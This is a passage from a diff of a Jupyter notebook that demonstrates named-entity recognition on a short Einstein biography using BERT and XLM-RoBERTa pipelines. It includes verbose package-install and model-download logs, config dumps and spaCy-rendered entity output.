+ "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (1.24.3)\n",
+ "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0,>=2.13.0->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (3.0.4)\n",
+ "Requirement already satisfied: MarkupSafe>=0.23 in /usr/local/lib/python3.7/dist-packages (from jinja2->spacy<3.3.0,>=3.2.0->en-core-web-sm==3.2.0) (2.0.1)\n",
+ "Installing collected packages: en-core-web-sm\n",
+ " Attempting uninstall: en-core-web-sm\n",
+ " Found existing installation: en-core-web-sm 2.2.5\n",
+ " Uninstalling en-core-web-sm-2.2.5:\n",
+ " Successfully uninstalled en-core-web-sm-2.2.5\n",
+ "Successfully installed en-core-web-sm-3.2.0\n",
+ "\u001b[38;5;2m✔ Download and installation successful\u001b[0m\n",
+ "You can now load the package via spacy.load('en_core_web_sm')\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 4,
+ "metadata": {
+ "id": "cWM2ZmQj-7cL"
+ },
+ "outputs": [],
+ "source": [
+ "import spacy\n",
+ "from transformers import *"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# sample text from Wikipedia\n",
+ "text = \"\"\"\n",
+ "Albert Einstein was a German-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+ "Einstein is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n",
+ "Einstein was born in the German Empire, but moved to Switzerland in 1895, forsaking his German citizenship (as a subject of the Kingdom of Württemberg) the following year. \n",
+ "In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the Swiss Federal polytechnic school in Zürich, graduating in 1900\n",
+ "\"\"\""
+ ],
+ "metadata": {
+ "id": "c8Fpojshvz5q"
+ },
+ "execution_count": 5,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# load BERT model fine-tuned for Named Entity Recognition (NER)\n",
+ "ner = pipeline(\"ner\", model=\"dslim/bert-base-NER\")"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 1000,
+ "referenced_widgets": [
+ "d003aee1f68448d080b131160fbf0f42",
+ "13a93cbb501d449c8367e875f84dc8af",
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+ "510b8cdd5bfa44458b2bb63da21b5a5c",
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+ "f98ca551ff4443f0a4e40bcf7758f3dc",
+ "ef1d3589d4474347a79054118ad11683",
+ "03ae716e541d4b22b2e82f36d1fa516c",
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+ "95707ff8a18749cbaf31ce459278662f",
+ "c77101d1f1ca4452805baa23883deb71",
+ "59432e64a20f4a1f840a4a4e4219b61a",
+ "37b0572613f2436fb1295266742a3347",
+ "9601fd546e844c22a9bbd578af726caa",
+ "b1bbe9741ce6472fa767e38d4165ba0a",
+ "8faf96e2a06749edb9e407e3078ed863",
+ "e7bf154fcfb34c2d963ee3dc15de9b4a",
+ "247e98ffba5b4677af83ecc7adabf4f9",
+ "36debd6ba8074e0fad9da507c4ab276e",
+ "99be590e388b4d8a8987e45f920d5e36",
+ "d59c98d15314432b964418fc26384411",
+ "55c80d31a9774730b53948f5f0beac6f",
+ "b13e766210c44230a2d4a027fe3e5c21",
+ "1d6db3019cbf4abcb3652617e56bcbea",
+ "745a2fa9e81a4c24bb54d53ab6805d34",
+ "19db4b4005064243a5409e84ea9f89df",
+ "99bbe160962a4ad48bf423145bf99430",
+ "32cfdb3f92304c329307a9ee43852f38",
+ "ab532f783ed04c8ca11ef2087722e465",
+ "34ad0b24e30447b5b2f0aa11bc59c687",
+ "3d8ab41e60ed4eea84b75c1804e561ab",
+ "30a6d47314cc49fbbd969b76e580c72a",
+ "48df546e7b564234b3778f6ffeadbf17"
+ ]
+ },
+ "id": "bt3r6hON-9rZ",
+ "outputId": "1267034b-9a7a-4139-f01a-6e1079170e16"
+ },
+ "execution_count": 6,
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmp546bt3vk/n"
+ ]
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ "Downloading: 0%| | 0.00/829 [00:00, ?B/s]"
+ ],
+ "application/vnd.jupyter.widget-view+json": {
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+ "storing https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json in cache at /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
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+ "loading configuration file https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
+ "Model config BertConfig {\n",
+ " \"_name_or_path\": \"dslim/bert-base-NER\",\n",
+ " \"_num_labels\": 9,\n",
+ " \"architectures\": [\n",
+ " \"BertForTokenClassification\"\n",
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+ " \"type_vocab_size\": 2,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 28996\n",
+ "}\n",
+ "\n",
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+ "Model config BertConfig {\n",
+ " \"_name_or_path\": \"dslim/bert-base-NER\",\n",
+ " \"_num_labels\": 9,\n",
+ " \"architectures\": [\n",
+ " \"BertForTokenClassification\"\n",
+ " ],\n",
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+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 28996\n",
+ "}\n",
+ "\n",
+ "https://huggingface.co/dslim/bert-base-NER/resolve/main/pytorch_model.bin%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmp3dj5kcbv/n"
+ ]
+ },
+ {
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+ "data": {
+ "text/plain": [
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+ "application/vnd.jupyter.widget-view+json": {
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+ "model_id": "1ea8bede937f4f2a86aa2a3e171f01f5"
+ }
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "storing https://huggingface.co/dslim/bert-base-NER/resolve/main/pytorch_model.bin in cache at /root/.cache/huggingface/transformers/3ca763a5697d51432247d711b6aae51030a05f5b0c9a59cb83b20255eabb7ff4.aeec53fbb8d04bbdb0c84621a6f18491499bffc49a246808de99e63e7684ad79\n",
+ "creating metadata file for /root/.cache/huggingface/transformers/3ca763a5697d51432247d711b6aae51030a05f5b0c9a59cb83b20255eabb7ff4.aeec53fbb8d04bbdb0c84621a6f18491499bffc49a246808de99e63e7684ad79\n",
+ "loading weights file https://huggingface.co/dslim/bert-base-NER/resolve/main/pytorch_model.bin from cache at /root/.cache/huggingface/transformers/3ca763a5697d51432247d711b6aae51030a05f5b0c9a59cb83b20255eabb7ff4.aeec53fbb8d04bbdb0c84621a6f18491499bffc49a246808de99e63e7684ad79\n",
+ "All model checkpoint weights were used when initializing BertForTokenClassification.\n",
+ "\n",
+ "All the weights of BertForTokenClassification were initialized from the model checkpoint at dslim/bert-base-NER.\n",
+ "If your task is similar to the task the model of the checkpoint was trained on, you can already use BertForTokenClassification for predictions without further training.\n",
+ "https://huggingface.co/dslim/bert-base-NER/resolve/main/tokenizer_config.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmpv46yx0ht/n"
+ ]
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+ },
+ {
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+ "name": "stderr",
+ "text": [
+ "storing https://huggingface.co/dslim/bert-base-NER/resolve/main/tokenizer_config.json in cache at /root/.cache/huggingface/transformers/de9f40a9d698f5f7227cbc2798430cb498bb680bcd657f1c2bd897a6a2f63953.6391beef2ceed2cdba47401eb12680200856c97d2f2b56143e515d7c0f36a66a\n",
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+ "loading configuration file https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
+ "Model config BertConfig {\n",
+ " \"_name_or_path\": \"dslim/bert-base-NER\",\n",
+ " \"_num_labels\": 9,\n",
+ " \"architectures\": [\n",
+ " \"BertForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 768,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"O\",\n",
+ " \"1\": \"B-MISC\",\n",
+ " \"2\": \"I-MISC\",\n",
+ " \"3\": \"B-PER\",\n",
+ " \"4\": \"I-PER\",\n",
+ " \"5\": \"B-ORG\",\n",
+ " \"6\": \"I-ORG\",\n",
+ " \"7\": \"B-LOC\",\n",
+ " \"8\": \"I-LOC\"\n",
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+ "}\n",
+ "\n",
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+ ]
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+ },
+ {
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+ "name": "stderr",
+ "text": [
+ "storing https://huggingface.co/dslim/bert-base-NER/resolve/main/special_tokens_map.json in cache at /root/.cache/huggingface/transformers/8ecdadef2bc275e74e0d4541ae8a5db151fba13174b86dfa88ef5765d30feb77.dd8bd9bfd3664b530ea4e645105f557769387b3da9f79bdb55ed556bdd80611d\n",
+ "creating metadata file for /root/.cache/huggingface/transformers/8ecdadef2bc275e74e0d4541ae8a5db151fba13174b86dfa88ef5765d30feb77.dd8bd9bfd3664b530ea4e645105f557769387b3da9f79bdb55ed556bdd80611d\n",
+ "loading file https://huggingface.co/dslim/bert-base-NER/resolve/main/vocab.txt from cache at /root/.cache/huggingface/transformers/d426f14ce999ecd9a2f26bd379117e988775a97ca1d30e72941824935563e2a6.437aa611e89f6fc6675a049d2b5545390adbc617e7d655286421c191d2be2791\n",
+ "loading file https://huggingface.co/dslim/bert-base-NER/resolve/main/tokenizer.json from cache at None\n",
+ "loading file https://huggingface.co/dslim/bert-base-NER/resolve/main/added_tokens.json from cache at /root/.cache/huggingface/transformers/256d34bb8f151641e2ce0fcb0263b6652c9ddd412b271fddb03da7d3c6d74448.5cc6e825eb228a7a5cfd27cb4d7151e97a79fb962b31aaf1813aa102e746584b\n",
+ "loading file https://huggingface.co/dslim/bert-base-NER/resolve/main/special_tokens_map.json from cache at /root/.cache/huggingface/transformers/8ecdadef2bc275e74e0d4541ae8a5db151fba13174b86dfa88ef5765d30feb77.dd8bd9bfd3664b530ea4e645105f557769387b3da9f79bdb55ed556bdd80611d\n",
+ "loading file https://huggingface.co/dslim/bert-base-NER/resolve/main/tokenizer_config.json from cache at /root/.cache/huggingface/transformers/de9f40a9d698f5f7227cbc2798430cb498bb680bcd657f1c2bd897a6a2f63953.6391beef2ceed2cdba47401eb12680200856c97d2f2b56143e515d7c0f36a66a\n",
+ "loading configuration file https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
+ "Model config BertConfig {\n",
+ " \"_name_or_path\": \"dslim/bert-base-NER\",\n",
+ " \"_num_labels\": 9,\n",
+ " \"architectures\": [\n",
+ " \"BertForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 768,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"O\",\n",
+ " \"1\": \"B-MISC\",\n",
+ " \"2\": \"I-MISC\",\n",
+ " \"3\": \"B-PER\",\n",
+ " \"4\": \"I-PER\",\n",
+ " \"5\": \"B-ORG\",\n",
+ " \"6\": \"I-ORG\",\n",
+ " \"7\": \"B-LOC\",\n",
+ " \"8\": \"I-LOC\"\n",
+ " },\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 3072,\n",
+ " \"label2id\": {\n",
+ " \"B-LOC\": 7,\n",
+ " \"B-MISC\": 1,\n",
+ " \"B-ORG\": 5,\n",
+ " \"B-PER\": 3,\n",
+ " \"I-LOC\": 8,\n",
+ " \"I-MISC\": 2,\n",
+ " \"I-ORG\": 6,\n",
+ " \"I-PER\": 4,\n",
+ " \"O\": 0\n",
+ " },\n",
+ " \"layer_norm_eps\": 1e-12,\n",
+ " \"max_position_embeddings\": 512,\n",
+ " \"model_type\": \"bert\",\n",
+ " \"num_attention_heads\": 12,\n",
+ " \"num_hidden_layers\": 12,\n",
+ " \"output_past\": true,\n",
+ " \"pad_token_id\": 0,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"transformers_version\": \"4.17.0\",\n",
+ " \"type_vocab_size\": 2,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 28996\n",
+ "}\n",
+ "\n",
+ "loading configuration file https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
+ "Model config BertConfig {\n",
+ " \"_name_or_path\": \"dslim/bert-base-NER\",\n",
+ " \"_num_labels\": 9,\n",
+ " \"architectures\": [\n",
+ " \"BertForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 768,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"O\",\n",
+ " \"1\": \"B-MISC\",\n",
+ " \"2\": \"I-MISC\",\n",
+ " \"3\": \"B-PER\",\n",
+ " \"4\": \"I-PER\",\n",
+ " \"5\": \"B-ORG\",\n",
+ " \"6\": \"I-ORG\",\n",
+ " \"7\": \"B-LOC\",\n",
+ " \"8\": \"I-LOC\"\n",
+ " },\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 3072,\n",
+ " \"label2id\": {\n",
+ " \"B-LOC\": 7,\n",
+ " \"B-MISC\": 1,\n",
+ " \"B-ORG\": 5,\n",
+ " \"B-PER\": 3,\n",
+ " \"I-LOC\": 8,\n",
+ " \"I-MISC\": 2,\n",
+ " \"I-ORG\": 6,\n",
+ " \"I-PER\": 4,\n",
+ " \"O\": 0\n",
+ " },\n",
+ " \"layer_norm_eps\": 1e-12,\n",
+ " \"max_position_embeddings\": 512,\n",
+ " \"model_type\": \"bert\",\n",
+ " \"num_attention_heads\": 12,\n",
+ " \"num_hidden_layers\": 12,\n",
+ " \"output_past\": true,\n",
+ " \"pad_token_id\": 0,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"transformers_version\": \"4.17.0\",\n",
+ " \"type_vocab_size\": 2,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 28996\n",
+ "}\n",
+ "\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# perform inference on the transformer model\n",
+ "doc_ner = ner(text)\n",
+ "# print the output\n",
+ "doc_ner"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "k093PtEW_CAV",
+ "outputId": "b0eb315b-f1be-46c4-fd9d-fef44a0553c6"
+ },
+ "execution_count": 7,
+ "outputs": [
+ {
+ "output_type": "execute_result",
+ "data": {
+ "text/plain": [
+ "[{'end': 7,\n",
+ " 'entity': 'B-PER',\n",
+ " 'index': 1,\n",
+ " 'score': 0.99949145,\n",
+ " 'start': 1,\n",
+ " 'word': 'Albert'},\n",
+ " {'end': 16,\n",
+ " 'entity': 'I-PER',\n",
+ " 'index': 2,\n",
+ " 'score': 0.998417,\n",
+ " 'start': 8,\n",
+ " 'word': 'Einstein'},\n",
+ " {'end': 29,\n",
+ " 'entity': 'B-MISC',\n",
+ " 'index': 5,\n",
+ " 'score': 0.99211043,\n",
+ " 'start': 23,\n",
+ " 'word': 'German'},\n",
+ " {'end': 158,\n",
+ " 'entity': 'B-PER',\n",
+ " 'index': 28,\n",
+ " 'score': 0.99736506,\n",
+ " 'start': 150,\n",
+ " 'word': 'Einstein'},\n",
+ " {'end': 318,\n",
+ " 'entity': 'B-PER',\n",
+ " 'index': 55,\n",
+ " 'score': 0.9977113,\n",
+ " 'start': 310,\n",
+ " 'word': 'Einstein'},\n",
+ " {'end': 341,\n",
+ " 'entity': 'B-LOC',\n",
+ " 'index': 60,\n",
+ " 'score': 0.50242233,\n",
+ " 'start': 335,\n",
+ " 'word': 'German'},\n",
+ " {'end': 348,\n",
+ " 'entity': 'I-LOC',\n",
+ " 'index': 61,\n",
+ " 'score': 0.95330054,\n",
+ " 'start': 342,\n",
+ " 'word': 'Empire'},\n",
+ " {'end': 374,\n",
+ " 'entity': 'B-LOC',\n",
+ " 'index': 66,\n",
+ " 'score': 0.99978524,\n",
+ " 'start': 363,\n",
+ " 'word': 'Switzerland'},\n",
+ " {'end': 404,\n",
+ " 'entity': 'B-MISC',\n",
+ " 'index': 74,\n",
+ " 'score': 0.9995827,\n",
+ " 'start': 398,\n",
+ " 'word': 'German'},\n",
+ " {'end': 460,\n",
+ " 'entity': 'B-LOC',\n",
+ " 'index': 84,\n",
+ " 'score': 0.9994709,\n",
+ " 'start': 449,\n",
+ " 'word': 'Württemberg'},\n",
+ " {'end': 590,\n",
+ " 'entity': 'B-MISC',\n",
+ " 'index': 111,\n",
+ " 'score': 0.9888771,\n",
+ " 'start': 585,\n",
+ " 'word': 'Swiss'},\n",
+ " {'end': 627,\n",
+ " 'entity': 'B-LOC',\n",
+ " 'index': 119,\n",
+ " 'score': 0.9977405,\n",
+ " 'start': 621,\n",
+ " 'word': 'Zürich'}]"
+ ]
+ },
+ "metadata": {},
+ "execution_count": 7
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "def get_entities_html(text, ner_result, title=None):\n",
+ " \"\"\"Returns a visual version of NER with the help of SpaCy\"\"\"\n",
+ " ents = []\n",
+ " for ent in ner_result:\n",
+ " e = {}\n",
+ " # add the start and end positions of the entity\n",
+ " e[\"start\"] = ent[\"start\"]\n",
+ " e[\"end\"] = ent[\"end\"]\n",
+ " # add the score if you want in the label\n",
+ " # e[\"label\"] = f\"{ent[\"entity\"]}-{ent['score']:.2f}\"\n",
+ " e[\"label\"] = ent[\"entity\"]\n",
+ " if ents and -1 <= ent[\"start\"] - ents[-1][\"end\"] <= 1 and ents[-1][\"label\"] == e[\"label\"]:\n",
+ " # if the current entity is shared with previous entity\n",
+ " # simply extend the entity end position instead of adding a new one\n",
+ " ents[-1][\"end\"] = e[\"end\"]\n",
+ " continue\n",
+ " ents.append(e)\n",
+ " # construct data required for displacy.render() method\n",
+ " render_data = [\n",
+ " {\n",
+ " \"text\": text,\n",
+ " \"ents\": ents,\n",
+ " \"title\": title,\n",
+ " }\n",
+ " ]\n",
+ " return spacy.displacy.render(render_data, style=\"ent\", manual=True, jupyter=True)"
+ ],
+ "metadata": {
+ "id": "TbVK1qZB1zYt"
+ },
+ "execution_count": 8,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# get HTML representation of NER of our text\n",
+ "get_entities_html(text, doc_ner)"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 192
+ },
+ "id": "0ldndjZS3GwN",
+ "outputId": "dd4f3eb5-1358-4b0d-dab7-3829632ed290"
+ },
+ "execution_count": 9,
+ "outputs": [
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ ""
+ ],
+ "text/html": [
+ "\n",
+ "\n",
+ " Albert\n",
+ " B-PER \n",
+ " \n",
+ " \n",
+ "\n",
+ " Einstein\n",
+ " I-PER \n",
+ " \n",
+ " was a \n",
+ "\n",
+ " German\n",
+ " B-MISC \n",
+ " \n",
+ "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+ "\n",
+ " Einstein\n",
+ " B-PER \n",
+ " \n",
+ " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n",
+ "\n",
+ " Einstein\n",
+ " B-PER \n",
+ " \n",
+ " was born in the \n",
+ "\n",
+ " German\n",
+ " B-LOC \n",
+ " \n",
+ " \n",
+ "\n",
+ " Empire\n",
+ " I-LOC \n",
+ " \n",
+ ", but moved to \n",
+ "\n",
+ " Switzerland\n",
+ " B-LOC \n",
+ " \n",
+ " in 1895, forsaking his \n",
+ "\n",
+ " German\n",
+ " B-MISC \n",
+ " \n",
+ " citizenship (as a subject of the Kingdom of \n",
+ "\n",
+ " Württemberg\n",
+ " B-LOC \n",
+ " \n",
+ ") the following year. In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n",
+ "\n",
+ " Swiss\n",
+ " B-MISC \n",
+ " \n",
+ " Federal polytechnic school in \n",
+ "\n",
+ " Zürich\n",
+ " B-LOC \n",
+ " \n",
+ ", graduating in 1900
"
+ ]
+ },
+ "metadata": {}
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# load roberta-large model\n",
+ "ner2 = pipeline(\"ner\", model=\"xlm-roberta-large-finetuned-conll03-english\")"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 1000,
+ "referenced_widgets": [
+ "c657666a56c5407bbafbe0f89549c382",
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+ "fcdefb7c64954b85b0884eade938947c",
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+ ]
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+ "outputId": "fba4d857-4c25-4afc-b4e1-b70e2934f22d"
+ },
+ "execution_count": 10,
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/config.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmpbumktoj0/n"
+ ]
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ "Downloading: 0%| | 0.00/852 [00:00, ?B/s]"
+ ],
+ "application/vnd.jupyter.widget-view+json": {
+ "version_major": 2,
+ "version_minor": 0,
+ "model_id": "c657666a56c5407bbafbe0f89549c382"
+ }
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "storing https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/config.json in cache at /root/.cache/huggingface/transformers/cd7e3332fb70fd94304b0fcad297caff7b8d9c97c5f76b5a4ac6bbcc14379fe1.ed0120fc465ef220e4bd136ae002fa78741a9545246ccb78502333b8dba60ee3\n",
+ "creating metadata file for /root/.cache/huggingface/transformers/cd7e3332fb70fd94304b0fcad297caff7b8d9c97c5f76b5a4ac6bbcc14379fe1.ed0120fc465ef220e4bd136ae002fa78741a9545246ccb78502333b8dba60ee3\n",
+ "loading configuration file https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/cd7e3332fb70fd94304b0fcad297caff7b8d9c97c5f76b5a4ac6bbcc14379fe1.ed0120fc465ef220e4bd136ae002fa78741a9545246ccb78502333b8dba60ee3\n",
+ "Model config XLMRobertaConfig {\n",
+ " \"_name_or_path\": \"xlm-roberta-large-finetuned-conll03-english\",\n",
+ " \"_num_labels\": 8,\n",
+ " \"architectures\": [\n",
+ " \"XLMRobertaForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"bos_token_id\": 0,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"eos_token_id\": 2,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 1024,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"B-LOC\",\n",
+ " \"1\": \"B-MISC\",\n",
+ " \"2\": \"B-ORG\",\n",
+ " \"3\": \"I-LOC\",\n",
+ " \"4\": \"I-MISC\",\n",
+ " \"5\": \"I-ORG\",\n",
+ " \"6\": \"I-PER\",\n",
+ " \"7\": \"O\"\n",
+ " },\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 4096,\n",
+ " \"label2id\": {\n",
+ " \"B-LOC\": 0,\n",
+ " \"B-MISC\": 1,\n",
+ " \"B-ORG\": 2,\n",
+ " \"I-LOC\": 3,\n",
+ " \"I-MISC\": 4,\n",
+ " \"I-ORG\": 5,\n",
+ " \"I-PER\": 6,\n",
+ " \"O\": 7\n",
+ " },\n",
+ " \"layer_norm_eps\": 1e-05,\n",
+ " \"max_position_embeddings\": 514,\n",
+ " \"model_type\": \"xlm-roberta\",\n",
+ " \"num_attention_heads\": 16,\n",
+ " \"num_hidden_layers\": 24,\n",
+ " \"output_past\": true,\n",
+ " \"pad_token_id\": 1,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"transformers_version\": \"4.17.0\",\n",
+ " \"type_vocab_size\": 1,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 250002\n",
+ "}\n",
+ "\n",
+ "loading configuration file https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/cd7e3332fb70fd94304b0fcad297caff7b8d9c97c5f76b5a4ac6bbcc14379fe1.ed0120fc465ef220e4bd136ae002fa78741a9545246ccb78502333b8dba60ee3\n",
+ "Model config XLMRobertaConfig {\n",
+ " \"_name_or_path\": \"xlm-roberta-large-finetuned-conll03-english\",\n",
+ " \"_num_labels\": 8,\n",
+ " \"architectures\": [\n",
+ " \"XLMRobertaForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"bos_token_id\": 0,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"eos_token_id\": 2,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 1024,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"B-LOC\",\n",
+ " \"1\": \"B-MISC\",\n",
+ " \"2\": \"B-ORG\",\n",
+ " \"3\": \"I-LOC\",\n",
+ " \"4\": \"I-MISC\",\n",
+ " \"5\": \"I-ORG\",\n",
+ " \"6\": \"I-PER\",\n",
+ " \"7\": \"O\"\n",
+ " },\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 4096,\n",
+ " \"label2id\": {\n",
+ " \"B-LOC\": 0,\n",
+ " \"B-MISC\": 1,\n",
+ " \"B-ORG\": 2,\n",
+ " \"I-LOC\": 3,\n",
+ " \"I-MISC\": 4,\n",
+ " \"I-ORG\": 5,\n",
+ " \"I-PER\": 6,\n",
+ " \"O\": 7\n",
+ " },\n",
+ " \"layer_norm_eps\": 1e-05,\n",
+ " \"max_position_embeddings\": 514,\n",
+ " \"model_type\": \"xlm-roberta\",\n",
+ " \"num_attention_heads\": 16,\n",
+ " \"num_hidden_layers\": 24,\n",
+ " \"output_past\": true,\n",
+ " \"pad_token_id\": 1,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"transformers_version\": \"4.17.0\",\n",
+ " \"type_vocab_size\": 1,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 250002\n",
+ "}\n",
+ "\n",
+ "https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/pytorch_model.bin%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmpcsaex24u/n"
+ ]
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ "Downloading: 0%| | 0.00/2.09G [00:00, ?B/s]"
+ ],
+ "application/vnd.jupyter.widget-view+json": {
+ "version_major": 2,
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+ }
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "storing https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/pytorch_model.bin in cache at /root/.cache/huggingface/transformers/2b449384f083d8866edacbf92e4011e3fcf3026d45f2b9a4cb8650fec7a525c7.09ff0f236572ba82656162f6d6e7ec75e1af5babbf6a088165855208ad7a2c6d\n",
+ "creating metadata file for /root/.cache/huggingface/transformers/2b449384f083d8866edacbf92e4011e3fcf3026d45f2b9a4cb8650fec7a525c7.09ff0f236572ba82656162f6d6e7ec75e1af5babbf6a088165855208ad7a2c6d\n",
+ "loading weights file https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/pytorch_model.bin from cache at /root/.cache/huggingface/transformers/2b449384f083d8866edacbf92e4011e3fcf3026d45f2b9a4cb8650fec7a525c7.09ff0f236572ba82656162f6d6e7ec75e1af5babbf6a088165855208ad7a2c6d\n",
+ "All model checkpoint weights were used when initializing XLMRobertaForTokenClassification.\n",
+ "\n",
+ "All the weights of XLMRobertaForTokenClassification were initialized from the model checkpoint at xlm-roberta-large-finetuned-conll03-english.\n",
+ "If your task is similar to the task the model of the checkpoint was trained on, you can already use XLMRobertaForTokenClassification for predictions without further training.\n",
+ "Could not locate the tokenizer configuration file, will try to use the model config instead.\n",
